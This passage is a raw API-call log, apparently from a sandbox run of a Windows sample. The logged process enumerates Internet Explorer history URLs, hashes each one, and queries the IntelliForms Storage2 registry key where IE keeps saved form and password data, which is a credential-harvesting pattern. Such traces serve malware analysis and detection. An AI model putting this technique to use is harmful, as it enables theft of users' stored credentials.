CryptGetHashParam (in: hHash=0x7202d50, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.168] CryptDestroyHash (hHash=0x7202d50) returned 1 [0098.168] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.168] CoTaskMemFree (pv=0x71e66a0) [0098.168] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.168] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/odSuOiq0XNRIhfz.pptx", lpSrch="?") returned 0x0 [0098.168] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.168] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.168] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/odSuOiq0XNRIhfz.pptx") returned 56 [0098.168] CryptHashData (hHash=0x446a0a0, pbData=0x71e6420, dwDataLen=0x72, dwFlags=0x0) returned 1 [0098.168] CryptGetHashParam (in: hHash=0x446a0a0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.168] CryptDestroyHash (hHash=0x446a0a0) returned 1 [0098.168] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.169] CoTaskMemFree (pv=0x71e6420) [0098.169] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.169] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/cnuuaN6.flv", lpSrch="?") returned 0x0 [0098.169] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.169] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.169] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/cnuuaN6.flv") returned 62 [0098.169] CryptHashData (hHash=0x446a0a0, pbData=0x71872f0, dwDataLen=0x7e, dwFlags=0x0) returned 1 [0098.169] CryptGetHashParam (in: hHash=0x446a0a0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.169] CryptDestroyHash (hHash=0x446a0a0) returned 1 [0098.169] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.169] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.169] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.170] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.170] LocalFree (hMem=0x28e7670) returned 0x0 [0098.170] CoTaskMemFree (pv=0x71872f0) [0098.170] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.170] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/AppData/Roaming/HYnI7oS3.ots", lpSrch="?") returned 0x0 [0098.170] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.170] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.170] lstrlenW (lpString="file:///C:/Users/aETAdzjz/AppData/Roaming/HYnI7oS3.ots") returned 54 [0098.170] CryptHashData (hHash=0x446a0a0, pbData=0x71e6d20, dwDataLen=0x6e, dwFlags=0x0) returned 1 [0098.170] CryptGetHashParam (in: hHash=0x446a0a0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.170] CryptDestroyHash (hHash=0x446a0a0) returned 1 [0098.170] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.170] CoTaskMemFree (pv=0x71e6d20) [0098.171] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.171] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Videos/dd3O.mkv", lpSrch="?") returned 0x0 [0098.171] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.171] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.171] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Videos/dd3O.mkv") returned 41 [0098.171] CryptHashData (hHash=0x446a0a0, pbData=0x71e8a60, dwDataLen=0x54, dwFlags=0x0) returned 1 [0098.171] CryptGetHashParam (in: hHash=0x446a0a0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.171] CryptDestroyHash (hHash=0x446a0a0) returned 1 [0098.171] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.171] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.171] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.172] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.172] LocalFree (hMem=0x28e7910) returned 0x0 [0098.172] CoTaskMemFree (pv=0x71e8a60) [0098.172] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.172] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/AppData/Roaming/lC5vY2DseDnk83eN.flv", lpSrch="?") returned 0x0 [0098.172] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.172] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.172] lstrlenW (lpString="file:///C:/Users/aETAdzjz/AppData/Roaming/lC5vY2DseDnk83eN.flv") returned 62 [0098.172] CryptHashData (hHash=0x446a0a0, pbData=0x7222f00, dwDataLen=0x7e, dwFlags=0x0) returned 1 [0098.172] CryptGetHashParam (in: hHash=0x446a0a0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.172] CryptDestroyHash (hHash=0x446a0a0) returned 1 [0098.172] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.173] CoTaskMemFree (pv=0x7222f00) [0098.173] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.173] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/OQH3M.xlsx", lpSrch="?") returned 0x0 [0098.173] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.173] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.173] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/OQH3M.xlsx") returned 46 [0098.174] CryptHashData (hHash=0x44511b0, pbData=0x4451220, dwDataLen=0x5e, dwFlags=0x0) returned 1 [0098.174] CryptGetHashParam (in: hHash=0x44511b0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.174] CryptDestroyHash (hHash=0x44511b0) returned 1 [0098.174] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.174] CoTaskMemFree (pv=0x4451220) [0098.174] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.174] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/biY7nHZrMc.doc", lpSrch="?") returned 0x0 [0098.174] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.174] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.174] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/biY7nHZrMc.doc") returned 48 [0098.174] CryptHashData (hHash=0x7202e30, pbData=0x7203760, dwDataLen=0x62, dwFlags=0x0) returned 1 [0098.174] CryptGetHashParam (in: hHash=0x7202e30, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.174] CryptDestroyHash (hHash=0x7202e30) returned 1 [0098.174] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.175] CoTaskMemFree (pv=0x7203760) [0098.175] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.175] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/ELxtM.gif", lpSrch="?") returned 0x0 [0098.175] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.175] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.175] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/ELxtM.gif") returned 56 [0098.175] CryptHashData (hHash=0x7203760, pbData=0x71e7620, dwDataLen=0x72, dwFlags=0x0) returned 1 [0098.175] CryptGetHashParam (in: hHash=0x7203760, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.175] CryptDestroyHash (hHash=0x7203760) returned 1 [0098.175] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.175] CoTaskMemFree (pv=0x71e7620) [0098.175] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.176] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/pbyLR8KlH7TIC/_uEHGA5N-.gif", lpSrch="?") returned 0x0 [0098.176] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.176] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.176] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/pbyLR8KlH7TIC/_uEHGA5N-.gif") returned 74 [0098.176] CryptHashData (hHash=0x7203a00, pbData=0x28c8760, dwDataLen=0x96, dwFlags=0x0) returned 1 [0098.176] CryptGetHashParam (in: hHash=0x7203a00, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.176] CryptDestroyHash (hHash=0x7203a00) returned 1 [0098.176] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.176] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.176] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.176] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.176] LocalFree (hMem=0x28e7670) returned 0x0 [0098.176] CoTaskMemFree (pv=0x28c8760) [0098.177] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.177] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/pM2SVtUE.gif", lpSrch="?") returned 0x0 [0098.177] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.177] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.177] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/pM2SVtUE.gif") returned 67 [0098.177] CryptHashData (hHash=0x7203060, pbData=0x7223920, dwDataLen=0x88, dwFlags=0x0) returned 1 [0098.177] CryptGetHashParam (in: hHash=0x7203060, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.177] CryptDestroyHash (hHash=0x7203060) returned 1 [0098.177] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.177] CoTaskMemFree (pv=0x7223920) [0098.177] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.178] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/Goqt.pptx", lpSrch="?") returned 0x0 [0098.178] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.178] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.178] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/Goqt.pptx") returned 45 [0098.178] CryptHashData (hHash=0x7203bc0, pbData=0x7203b50, dwDataLen=0x5c, dwFlags=0x0) returned 1 [0098.178] CryptGetHashParam (in: hHash=0x7203bc0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.178] CryptDestroyHash (hHash=0x7203bc0) returned 1 [0098.178] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.178] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.178] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.178] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.178] LocalFree (hMem=0x28e7910) returned 0x0 [0098.178] CoTaskMemFree (pv=0x7203b50) [0098.179] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.179] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/nedQWQ4Rzcq.gif", lpSrch="?") returned 0x0 [0098.179] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.179] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.179] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/nedQWQ4Rzcq.gif") returned 50 [0098.179] CryptHashData (hHash=0x7203f40, pbData=0x7203d10, dwDataLen=0x66, dwFlags=0x0) returned 1 [0098.179] CryptGetHashParam (in: hHash=0x7203f40, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.179] CryptDestroyHash (hHash=0x7203f40) returned 1 [0098.179] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.179] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.179] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.180] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.180] LocalFree (hMem=0x28e7670) returned 0x0 [0098.180] CoTaskMemFree (pv=0x7203d10) [0098.180] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.180] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/MihBgkQ6yu89sgOk.jpg", lpSrch="?") returned 0x0 [0098.180] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.180] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.180] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/MihBgkQ6yu89sgOk.jpg") returned 75 [0098.180] CryptHashData (hHash=0x4469f50, pbData=0x28ca060, dwDataLen=0x98, dwFlags=0x0) returned 1 [0098.180] CryptGetHashParam (in: hHash=0x4469f50, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.180] CryptDestroyHash (hHash=0x4469f50) returned 1 [0098.181] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.181] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.181] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.181] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.181] LocalFree (hMem=0x28e7910) returned 0x0 [0098.181] CoTaskMemFree (pv=0x28ca060) [0098.181] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.181] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/AppData/Roaming/agwS9jwJhHy%20p1.odt", lpSrch="?") returned 0x0 [0098.181] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.182] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.182] lstrlenW (lpString="file:///C:/Users/aETAdzjz/AppData/Roaming/agwS9jwJhHy%20p1.odt") returned 62 [0098.182] CryptHashData (hHash=0x4469f50, pbData=0x7186de0, dwDataLen=0x7e, dwFlags=0x0) returned 1 [0098.182] CryptGetHashParam (in: hHash=0x4469f50, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.182] CryptDestroyHash (hHash=0x4469f50) returned 1 [0098.182] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.182] CoTaskMemFree (pv=0x7186de0) [0098.182] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.182] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/37faU3%20U8a8X.ots", lpSrch="?") returned 0x0 [0098.182] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.182] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.182] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/37faU3%20U8a8X.ots") returned 52 [0098.182] CryptHashData (hHash=0x4469f50, pbData=0x71e6920, dwDataLen=0x6a, dwFlags=0x0) returned 1 [0098.182] CryptGetHashParam (in: hHash=0x4469f50, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.183] CryptDestroyHash (hHash=0x4469f50) returned 1 [0098.183] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.183] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.183] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.183] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.183] LocalFree (hMem=0x28e7670) returned 0x0 [0098.183] CoTaskMemFree (pv=0x71e6920) [0098.183] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.183] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/dW6OQzT/FvH7i.mkv", lpSrch="?") returned 0x0 [0098.183] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.184] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.184] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/dW6OQzT/FvH7i.mkv") returned 68 [0098.184] CryptHashData (hHash=0x7203e60, pbData=0x28c48e0, dwDataLen=0x8a, dwFlags=0x0) returned 1 [0098.184] CryptGetHashParam (in: hHash=0x7203e60, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.184] CryptDestroyHash (hHash=0x7203e60) returned 1 [0098.184] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.184] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.184] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.184] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.184] LocalFree 